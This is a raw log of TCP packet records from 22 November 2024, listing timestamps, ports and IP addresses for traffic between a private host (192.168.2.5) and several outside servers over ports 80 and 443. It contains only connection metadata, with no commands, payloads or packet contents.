Nov 22, 2024 23:06:36.658951998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.659017086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.659121037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.659749985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.659790039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.659806967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.659883022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.660440922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.660489082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.660552025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.660597086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.661288023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.661365032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.661391973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.661472082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.662123919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.662183046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.662219048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.662236929 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.662291050 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.662311077 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.662311077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.662321091 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.662354946 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.662370920 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.662864923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.662996054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.663024902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.663044930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.663878918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.663914919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.663940907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.663969994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.664541006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.664575100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.664599895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.664624929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.665293932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.665340900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.665402889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.665563107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.666095018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.666228056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.666279078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.666964054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.667045116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.667068005 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.667093992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.667119026 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.667129993 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.667146921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.667150021 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.667179108 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.667206049 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.687202930 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.687253952 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.687278986 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.687298059 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.687310934 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.687340021 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.706442118 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.706497908 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.706537008 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.706552029 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.706600904 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.706602097 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.760755062 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.760915995 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.760989904 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.761889935 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.761957884 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.761965990 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.761996031 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.762022018 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.762037039 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.763396978 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.763420105 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.770670891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.770733118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.770823002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.770864010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.771083117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.771133900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.771364927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.771403074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.771413088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.771775961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.772222042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.772270918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.772341967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.772391081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.772893906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.772928953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.772983074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.773695946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.773766994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.773817062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.774028063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.774460077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.774517059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.774545908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.774565935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.774714947 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.774761915 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.774790049 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.774800062 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.774830103 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.774844885 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.775280952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.775330067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.775351048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.775388002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.776066065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.776117086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.776171923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.776308060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.776927948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.776971102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.777024984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.777064085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.777709007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.777762890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.777848005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.778490067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.778542995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.778546095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.778618097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.779300928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.779347897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.779361963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.779401064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.780098915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.780145884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.780153990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.780330896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.780945063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.780981064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.780989885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.781069994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.781506062 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.781560898 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.781610966 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.781610966 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.781646967 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.781697989 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.781737089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.781801939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.781836987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.781968117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.782542944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.782577991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.782586098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.782639027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.783332109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.783381939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.783401966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.783449888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.784245014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.784293890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.784301043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.784343004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.785013914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.785048962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.785090923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.785767078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.785815954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.785877943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.785918951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.786606073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.786653042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.786659956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.786669016 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.786703110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.786715031 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.786725998 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.786736965 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.786767960 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.786783934 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.787396908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.787497997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.787549019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.788187981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.788228989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.788311958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.788343906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.788985968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.789025068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.789053917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.789257050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.789788961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.789834023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.789849997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.789940119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.790579081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.790625095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.790688038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.790720940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.791393042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.791435003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.792085886 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.792165995 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.792191982 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.792249918 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.792534113 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.793068886 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.793102026 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.796550035 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.796596050 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.796617985 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.796624899 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.796647072 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.796674013 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.804779053 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.804833889 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.804848909 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.804879904 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.804905891 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.805035114 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.805150032 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.807434082 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.807442904 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.857095957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.857156038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.857405901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.857455969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.857461929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.857496977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.857517004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.857542038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.858244896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.858330011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.858333111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.858408928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.859062910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.859121084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.859160900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.859205008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.859853029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.859961987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.860011101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.860671997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.860726118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.860739946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.860781908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.861499071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.861561060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.861635923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.861680984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.862291098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.862345934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.862417936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.863101959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.863197088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.863224983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.863265038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.863913059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.864016056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.864078045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.864129066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.864691019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.864739895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.864928007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.864967108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.865495920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.865571022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.865641117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.865724087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.866318941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.866441011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.866497040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.867125034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.867178917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.867254019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.867321014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.867963076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.867999077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.868017912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.868042946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.868736029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.868789911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.868856907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.868907928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.869561911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.869669914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.869674921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.869716883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.870379925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.870450020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.870486021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.870502949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.871196032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.871244907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.871270895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.871321917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.871973991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.872034073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.872077942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.872118950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.872765064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.872833967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.872888088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.872929096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.873572111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.873652935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.873703003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.873748064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.874401093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.874455929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.874505997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.874547005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.875176907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.875246048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.875308990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.875349998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.875997066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.876117945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.876178980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.876796961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.876868010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.876918077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.876990080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.877631903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.877728939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.877788067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.896750927 CET	49847	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.896792889 CET	443	49847	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.897170067 CET	49847	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.897622108 CET	49847	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.897639990 CET	443	49847	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.980554104 CET	443	49836	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:36.981311083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.981359959 CET	49836	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:36.981373072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.981395006 CET	443	49836	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:36.981398106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.981426954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.981775045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.981822014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.981833935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.982053041 CET	49836	443	192.168.2.5	13.107.246.63
